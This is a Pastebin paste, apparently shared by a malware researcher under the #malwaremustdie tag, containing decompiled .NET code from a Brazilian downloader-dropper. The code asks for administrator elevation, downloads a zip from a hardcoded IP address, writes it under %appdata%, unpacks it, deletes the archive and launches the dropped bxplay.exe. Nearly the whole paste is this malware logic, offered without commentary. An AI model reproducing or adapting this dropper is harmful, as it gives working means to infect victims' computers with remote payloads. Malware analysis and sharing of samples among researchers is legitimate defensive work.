Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // brazil crooks malware vb.net #malwaremustdie - @unixfreaxjp
- [DefaultSettingValue("h00p://23.105.132.120/new.zip"), UserScopedSetting, DebuggerNonUserCode]
- public string duk
- { get { return Conversions.ToString(this["duk"]); }set{this["duk"] = value;} }
- public Form2()
- { base.Load += new EventHandler(this.Form2_Load);this.shObj = RuntimeHelpers.\
- GetObjectValue(Activator.CreateInstance(Type.GetTypeFromProgID("Shell.Application")));
- this.bode = Environment.ExpandEnvironmentVariables("%appdata%");this.InitializeComponent() }
- try
- { ProcessStartInfo arg_12_0 = new ProcessStartInfo();
- new Process();
- arg_12_0.UseShellExecute = true;
- arg_12_0.FileName = Application.ExecutablePath;
- arg_12_0.WindowStyle = ProcessWindowStyle.Normal;
- arg_12_0.Verb = "runas";
- Process.Start(arg_12_0);
- Application.Exit();
- return; }
- catch (Exception expr_48)
- { ProjectData.SetProjectError(expr_48);
- this.BackgroundWorker1_DoWork(null, null);
- Application.Exit();
- ProjectData.ClearProjectError();
- return;}
- byte[] array = new WebClient().DownloadData(MySettingsProperty.Settings.duk);
- if (File.Exists(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\bxplay.exe"))
- {Application.Exit();}}
- if (!Directory.Exists(this.bode + "\\" + MySettingsProperty.Settings.dok))
- {Directory.CreateDirectory(this.bode + "\\" + MySettingsProperty.Settings.dok);}
- FileStream expr_10C = new FileStream(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\jk.zip", FileMode.Create);
- expr_10C.Write(array, 0, array.Length);
- expr_10C.Close();
- this.Focker();
- Thread.Sleep(1000);
- File.Delete(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\jk.zip");
- Process.Start(this.bode + "\\" + MySettingsProperty.Settings.dok + "\\bxplay.exe");
- Application.Exit();
Add Comment
Please, Sign In to add comment